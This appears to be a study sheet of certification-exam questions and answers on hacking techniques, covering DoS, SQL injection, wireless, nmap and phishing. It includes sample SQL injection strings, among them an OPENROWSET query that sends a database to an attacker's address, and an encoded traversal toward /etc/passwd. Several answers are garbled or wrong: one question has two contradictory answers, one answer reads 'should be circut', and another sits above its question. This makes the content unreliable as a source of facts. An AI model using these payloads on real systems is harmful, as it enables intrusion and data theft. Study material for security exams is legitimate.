Exam
What is the common lower threshold for a Pulse Wave attack?
300Gbps
A tester is attempting a CSPP attack. Which of the following is she most likely to use in conjunction with the attack?
;
What is the integrity check mechanism for WPA2?
CBC-MAC
In nmap, the http-methods script can be used to test for potentially risky HTTP options supported by a target. Which of the following methods would be considered risky per the script?
CONNECT
What kind of Injection Attack relies on new line characters (\r OR \n) for tricking a target server?
CRLF Injection
Which of the following techniques is considered human-based social engineering?
Diversion theft
An attacker successfully configured and set up a rogue wireless AP inside his target. As individuals connected to various areas, he performed a MITM attack and injected a malicious applet in some of the HTTP connections. This rerouted user requests for certain pages to pages controlled by the attacker. Which of the following tools was most likely used by the attacker to inject the HTML code?
Ettercap
What aspect of a Fragmentation Attack causes a target system to crash?
Exhaustion of resources
What kind of testing to detect SQL injection deals with direct parameter testing in a URL or similar, and is a black-box methodology?
Function Testing
HTML forms include several methods for transferring data back and forth. Inside a form, which of the following encodes the input into the Uniform Resource Identifier (URI)?
GET
Which of the following prevention methods prevents source address spoofing, and protects against flooding attacks originating from valid prefixes?
Ingress filtering
What kind of packets initiate a Smurf Attack?
ICMP echo
In nmap/Zenmap, what does the -sO flag indicate?
IP protocol scan
What kind of command injection, often used for defacement, is defined as adding input to a web script that is then used in the output HTML without being checked for code or scripting?
HTML Embedding
In one of the following social engineering techniques, an attacker assumes the role of a knowledgeable professional so that the organization's employees ask them for information. The attacker then manipulates questions to draw out the required information. Which is this technique?
Reverse social engineering
Which of the tools listed here is a passive discovery tool?
Kismet
Which of the following is not a common language for execution of XSS attacks?
Ruby
Which of the following is NOT an HTTP Header-based Injection technique? S-MIME X Forwarded-For Referer User-Agent
S-MIME
What kind of statement is traditionally the target injection point for SQLi, specifically in a WHERE section of this kind of clause?
SELECT
What kind of attack enables injection of client-side scripts to manipulate web pages viewed by other users?
Replay Attack
During which phase of a security/penetration test would a non-disclosure agreement (NDA) be executed?
Pre-Attack
Regarding SSIDs, which of the following are true statements? (Choose all that apply.)
SSIDs are part of every packet header from the AP. SSIDs can be up to 32 characters in length.
Which of the following statements is true about Secure Sockets Layer (SSL)?
SSL operates above the transport layer
Which of the following is not representative of a Volumetric DoS Attack?
SYN Flood
Which of the following does not use ICMP in the attack? (Choose two.)
SYN flood Peer to peer
Which of the following is a meta-search engine?
Startpage
In one of the following types of identity theft, the perpetrator obtains information from different victims to create a new identity by stealing a social security number and uses it with a combination of fake names, date of birth, address, and other details required for creating a new identity. Which is this type of identity theft?
Synthetic identity theft
What is the purpose of the Recon-Dog utility?
System information harvesting via API calls
In which of the following attack types does an attacker exploit vulnerabilities that evolve from the unsafe use of functions in an application in public web servers to send crafted requests to internal or backend servers?
Server-side request forgery
Which of the following attacks an already-authenticated connection?
Session hijacking
Which of the following prevention methods prevents DoS by intercepting and validating TCP connection requests?
TCP intercept
Which of the following attack types occurs at the OSI Layer 4 (Transport)?
TCP session hijack
While researching specific security issues, you decide to implement an anonymizer. Which of the following would not be a suitable tool?
Tails
Which of the following attack types occurs at the OSI Layer 5 (Session)?
Telnet-based DoS
Which of the following is used by SOAP services to format information?
XML
What kind of attack enables injection of client-side scripts to manipulate web pages viewed by other users?
XSS Attack
An attacker is looking at a target website and is viewing an account via URL http://www.anybiz.com/store.php?id=2. He next enters the following URL: http://www.anybiz.com/store.php?id=2 and 1=1. The web page loads normally. He then enters the following URL: http://www.anybiz.com/store.php?id=2 and 1=2. A generic page noting "An error has occurred" appears. Which of the following is a correct statement concerning these actions?
The site is vulnerable to blind SQL injection.
Which of the following is an evasion technique that involves replacing characters with their ASCII codes in hexadecimal form and prefixing each code point with the percent sign (%)?
URL encoding
What kind of information is unlikely to be gleaned from a geographical search engine (Google Earth, Wikimapia)?
Underground tunnels
Where is the primary flaw, which allows SQLi to occur, located?
Web application
Semicolon
What kind of character is used to terminate a SQL statement?
What kind of character is used to represent the end of a line in a Mac system?
\r
You are configuring rules for your Snort installation and want to have an alert message of "Attempted FTP" on any FTP packet coming from an outside address intended for one of your internal hosts. Which of the following rules are correct for this situation?
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"Attempted FTP")
In what situation would you employ a proxy server? (Choose the best answer.)
You want to filter Internet traffic for internal systems.
Given below are the steps involved in automated patch management: a=Test, b=Assess, c=Detect, d=Acquire, e=Maintain, f=Deploy. What is the correct sequence of steps involved in automatic patch management?
c → b → d → a → f → e
Which of the following firewalls is specifically implemented at OSI Layer 5 (Session)?
should be circut
In which of the following security risks does an API accidentally expose internal variables or objects because of improper binding and filtering based on a whitelist, allowing attackers with unauthorized access to modify object properties?
Mass assignment
Which of the following phishing techniques focuses on flooding spam across a network?
Spimming
You are examining log files and come across this URL: http://www.example.com/script.ext?template%2e%2e%2e%2e%2e%2f%2e%2f%65%74%63%2f%70%61%73%73%77%64. Which of the following best describes this potential attack?
An attacker appears to be using Unicode.
What is the purpose of the BillCipher utility?
Collecting information about a website or address
What kind of attack allows attackers to exploit vulnerable scripts on a server to use remote files rather than a trusted local file?
File Injection
Which of the following prevention methods controls the speed of outbound or inbound traffic of a network controller and can reduce the high-volume traffic caused by DDoS?
Rate limiting
How would you filter FTP control traffic on IP Address 10.0.0.10 in Wireshark?
ip.addr==10.0.0.10 && tcp.port=21
FTP
21
An attacker is viewing a blog entry showing a news story and asking for comments. In the comment field, the attacker enters the following: Nice post and a fun read... What is the attacker attempting to perform?
A cross-site scripting attack
Which of the following is NOT a component of Web Application Hacking Methodology?
Attack Network Infrastructure
Which of the following best describes a teardrop attack?
Attacker sends several overlapping, extremely large IP fragments.
Which of the following encoding schemes represents any binary data using only printable ASCII characters and is used for encoding email attachments for safe transmission over SMTP?
Base64 encoding
In which of the following types of hijacking can an attacker inject malicious data or commands into intercepted communications in a TCP session, even if the victim disables source routing?
Blind hijacking
What kind of SQL injection deals with conjoining a known valid statement with a target parameter to test the success of an injection?
Boolean Exploitation SQLi
The source code of software used by your client seems to have a large number of gets() alongside sparsely used fgets(). What kind of attack is this software potentially susceptible to?
Buffer overflow
An attacker tricks a user into visiting a malicious website via a phishing e-mail. The user clicks the email link and visits the malicious website while maintaining an active, authenticated session with his bank. The attacker, through the malicious website, then instructs the user's web browser to send requests to the bank website. Which of the following best describes this attack?
CSRF
Your company needs to implement a firewall. This device must be able to discard TCP segments based on parameters such as IP address, port, and protocol used. What kind of firewall would work here?
Circuit level firewall
Which feature of IPSec provides the ability to prevent a message from being read unless the appropriate decryption is used?
Confidentiality
Which of the following techniques is also called a one-click attack or session riding and is used by an attacker to exploit a victim's active session with a trusted site to perform malicious activities?
Cross-site request forgery attack
What kind of vulnerability allows the CRIME session hijack to work?
Data compression in SSL/TLS protocol
What kind of web-based timing attack is carried out by measuring the approximate time taken by a server to process a POST request?
Direct Timing
Which of the following is NOT an objective of scanning
Discover services supported by infrastructure devices
What causes an IPID number to be incremented?
Each packet sent by the host machine
Which of the following prevention methods scans the headers of IP packets leaving a network and ensures that unauthorized or malicious traffic never leaves the internal network?
Egress filtering
The following injection query is inputted to extract a database's name: http://www.certifiedhacker.com/page.aspx?id=1 or 1=convert(int, (DB_NAME))—. The following text is returned: Syntax error converting the nvarchar value '[DB_NAME]' to a column of data type int. What kind of injection has been performed?
Error based injection
What is the purpose of the FOCA utility?
Extracting metadata from document scans
Which of the following is not representative of an Application Layer DoS Attack?
HTTP PUT
While on vacation, Joe receives a phone call from his identity alert service notifying him that two of his accounts have been accessed in the past hour. Earlier in the day, he did connect a laptop to a wireless hotspot at McDonald's and accessed the two accounts in question. Which of the following is the most likely attack used against Joe?
Honeyspot access point
What kind of information is this following query attempting to extract: http://www.certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER), 3,1)))=97) WAITFOR DELAY '00:00:10'—
If the first character in the username contains the letter "a"
Which of the following is a recommendation to protect against session hijacking? (Choose two.)
Implement IPSec throughout the environment. Use unpredictable sequence numbers.
Name the service, based on these attributes: Hierarchical, client-server based, allows directory searches via filters, organizes info by its attributes, often injected into via use of stacked parentheses
LDAP
SMTP Enumeration relies on three built-in commands. Which of the following options is NOT one of those three?
LIST
Which of the following attacks runs malicious code inside a browser and causes an infection that persists even after closing or browsing away from the malicious web page that spread the infection?
MarioNet attack
Which of the following is not an enumeration target for a MySQL database?
Mysql.schema
Which of the following tools is designed for automatic scanning of IPV4/V6 addresses, hostnames, domain names, and URLs?
NetScanTools Pro
Which of the following is not considered a strong tool for port scanning? Netcraft NetScanTools Pro Sandcat Browser Nmap
Netcraft
In nmap/Zenmap, what does the -sn flag indicate?
No Port Scan
What SQL function can be used to link a target database to an attacker's database for replication over port 80? EX: '; insert into _____??_____ ('SQLoledb', 'uid=sa; pwd=pass; Network=MAIN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * sys.sysdatabases
OPENROWSET
Which protocol would work best to encrypt a VPN connection at OSI Layer 2 (Data Link)?
PPTP
Which of these attacks is considered a Presentation Layer (L7) vulnerability?
Parameter tampering
Which of the following phishing techniques is also referred to as "phishing without a lure"?
Pharming
Which of the following DoS attacks inflicts permanent damage on hardware, often causing a "bricked" system?
Phlashing
Which of the following is not representative of a Protocol DoS Attack?
Slowloris Attack
theHarvester is an automated tool that can collect public emails for what purpose?
Social engineering
What kind of testing involves applications like Parasoft Jtest, RIPS, CAST AIP, and Klocwork?
Source Code Review
An attacker performs a whois search against a target organization and discovers the technical point of contact (POC) and site ownership e-mail addresses. He then crafts an email to the owner from the technical POC, with instructions to click a link to see web statistics for the site. Instead, the link goes to a fake site where credentials are stolen. Which attack has taken place?
Spear phishing
An attack can be considered an equation: Attacks = Motive + Method + __________?
Vulnerability
Which of the following is the best choice in searching for and locating rogue access points?
WIPS
Which of the following use a 48-bit initialization vector? (Choose all that apply.)
WPA2 WPA
Which of the following statements is not true regarding WebGoat?
WebGoat can be installed on Windows systems only.
Which of the following tools is a good fit for identifying user input entry points in a page's HTML like User-Agent, Referer, Accept, Accept-Language, and Host-headers?
WebScarab
20. List the correct order of these session hijacking process components A: Command Injection, B: Monitor, C: Predict Session ID, D: Session Desynch, E: Sniff
a. E-B-D-C-A